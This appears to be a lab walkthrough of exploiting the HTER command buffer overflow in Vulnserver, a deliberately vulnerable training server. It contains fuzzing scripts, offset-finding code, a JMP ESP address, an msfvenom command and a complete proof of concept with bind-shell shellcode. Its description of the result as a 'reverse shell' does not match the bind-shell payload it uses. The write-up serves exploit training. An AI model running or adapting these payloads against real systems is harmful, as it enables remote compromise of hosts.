Vulnserver - HTER Command

As part of my preparation for the taking the CTP course and OSCE exam I used the vulnserver.exe to practice and develop my skills.

1. Intro

Vulnserver is a Windows based threaded TCP server application that is designed to be exploited. The program is intended to be used as a learning tool to teach about the process of software exploitation, as well as a good victim program for testing new exploitation techniques and shellcode.

Figure 1

You can get a copy of the application here https://github.com/zflemingg1/OSCE/tree/master/Vulnserver

2. The Setup

OS Name:                   Microsoft Windows XP Professional
OS Version:                5.1.2600 Service Pack 3 Build 2600
OS Manufacturer:           Microsoft Corporation

Vulnserver - Link above
python 2.7 x86, pydbg 32-bit binary, python wmi, pywin32
Immunity Debugger with mona installed
Kali 2.0 with Boofuzz fuzzer

2.1 Interface

Using netcat connect to X.X.X.X:9999 and issue the HELP command to confirm that everything is working as expected:

Figure 2

3. Fuzzing

For the purpose of this tutorial we will be focusing on fuzzing the HTER command. Observing that the valid argument structure for the HTER command is roughly <HTER>[space]<command_value> we can try sending HTER hello as a test and see if it’s accepted.

Figure 3

As can bee seen above, the command and argument executed successfully. Now that we have confirmed the structure of a command and its arguments, we can start fuzzing this command to see if we can get the program to crash when submitting various argument values to the HTER command.

The following BOOFUZZ template was created to fuzz the HTER command in an effort to get the program to crash.

from boofuzz import *

host = '192.168.109.129'
port = 9999


	
session = Session(
	sleep_time = 2,
	target=Target(
	connection=SocketConnection(host, int(port), proto='tcp')
	)
)
	
s_initialize("HTER")
s_string("HTER", fuzzable = False)	
s_delim(" ", fuzzable = False)		
s_string("FUZZ")
    
session.connect(s_get("HTER"))
session.fuzz()

3.1 Crash

The following command appears to have crashed the program indicating that the "HTER" command can be manipulated to force the program to crash.

Figure 4

Figure 5

3.2 Analysing The Crash

Based on the TCP stream (Figure 4), the number of bytes that was sent by the fuzzer and that caused the crash was around 2050 bytes.

To gain a better understanding of this, the following template was used to identify the length needed to overflow the HTER command and cause the crash:

import socket
from time import sleep

count = 5000
 
while count >=10:

	TCP_IP = '192.168.109.129'
	TCP_PORT = 9999
	
	payload = "HTER "
	payload += "A" * count
	
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((TCP_IP, TCP_PORT))
		s.settimeout(4.0)
		s.recv(1024)
	
	except:
		print("\nCrash Occured When Sending: {}".format(count))
		exit()

	s.send(payload)
	s.close()	

	print("Sending Message! - Count:" + str(count))
	s.close()
	print("Message Sent! - Count:" + str(count))
	count = count - 50
	sleep(3)

Figure 6

Figure 7

As can be seen from figure 6 the program crashes when a string of 4950 chars is sent. Checking the dump using immunity it can be seen that we control a buffer of length 4080 bytes - Figure 7. However, EIP was overwritten with AAAAAAAA instead of 41414141. From this we can observe that the buffer was somehow being converted into hex bytes as opposed to ASCII.

4. Determine Offset

Due to the hex conversion, we are unable to use some of the traditional methods such as using msf-pattern_create to generate unique strings. To circumvent this, we can use the “Binary Tree Analysis” method to determine the offset. Instead of sending 3000 A’s, we can break it up into smaller sections such as 1500 A’s and 1500 B’s.

4.1 Binary Tree Analysis

Restart the application and run the updates exploit shown below:

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "HTER "
payload += "A" * 1500 # Crashes at 4950
payload += "B" * (4950 - len(payload)) # Junk
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	

Figure 8

From Figure 8 we can see that EIP is overwritten in our B section. Lets repeat this step again and modify our A and B lengths.

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "HTER "
payload += "A" * 2000 # Crashes at 4950
payload += "B" * (4950 - len(payload)) # Junk
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	

Figure 9

From Figure 9 we can see that EIP is overwritten in our B section. Again we repeat this process of modifying our A and B lengths until we find a the correct offset that allows us to take control of EIP. After some trial and error the offset was found to be at 2045 bytes as shown below:

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "HTER "
payload += "A" * 2041 # Offset
payload += "C" * 8    # Control EIP
payload += "B" * (4950 - len(payload)) # Junk
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	

Figure 10

5. Redirecting Execution Flow

Our next step is to find an address that contains a JMP ESP instruction.

NOTE: It’s always recommended to use an address from the application itself, or a DLL that comes with the application for compatibility purposes. I.E. the exploit will work even if the application was installed on a different machine. For Vulnserver.exe we can look at the DLL that comes with it (essfunc.dll).

Restart the application in Immunity and execute the following command !mona jmp -r esp -m "essfunc.dll".

Figure 11

Take note of the address highlighted in the above picture (0x625011AF)

5.1 Taking Control of EIP

Restart the application in Immunity, set a breakpoint at address 0x625011AF and execute the updated POC below

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "HTER "
payload += "A" * 2041 # Offset
payload += "AF115062" # Redirect EIP
payload += "41" * (4950 - len(payload)) # Junk
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	

Figure 12

Step through the breakpoint using F8 and you will land in our buffer - Figure 13.

Figure 13

6. Generating Shellcode

Using all the information that we've gathered we can now generate the payload as shown below:

msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f hex -v shellcode

Figure 14

6.1 Getting Shell

Restart the application and execute the updated POC shown below:

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "HTER "
payload += "A" * 2041 # Offset
payload += "AF115062" # Redirect EIP
payload += "90" * 80 # nop sled
payload += "dacbb81dd7accad97424f45b31c9b15331431703431783f62b4e3ff43c0dc004bd7248e18cb22e62be02242633e868d2c09ca4d5612a93d87207e77bf15a345bc894499a0dc8a0cec68617fe63d2ab753ff2ab6a88f59a3d82af3cbc47c474a684e1cf5d7e9dd1b74e5e7df67ead7f3fb84e0a49baf30d8ec02f9b1462bb3bf09268dd7398c5a9dbbdd87e50b95181b64b21a61217f1c703fd54f7535e085d18735dec431c92dd7bdcbc5608ee63cd8642ebcb51a4c6accd5be9ccc49fbd9c7e09be767eb66be27611c4117be1b495d38ade190caae0f325431dfc58c8a81a30e0fcb5acc2da0d4b3c0926fb755bf104864955920d9e6183118bc1d4864180973755894fdbc4568f92f4c0d8f3cb188ce972b3b2f3e3fc7628d00377bd6c20677b6c6cd3d33b3a8d95958c674c4947ef09a1586916ec2e95a75977aa080e7fd374ae800e3dce629a48673b4ff1eabcba36133f4ec7e05f3bc2ade7d0bebe8dd66dbe87"
payload += "41" * (4950 - len(payload)) # Junk
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	

NOTE: A nopsled (80 NOP instructions) were added before the shellcode to give room for the decoder to work

Using netcat, connect to the target host using port 4444 and you should now have a reverse shell:

Figure 15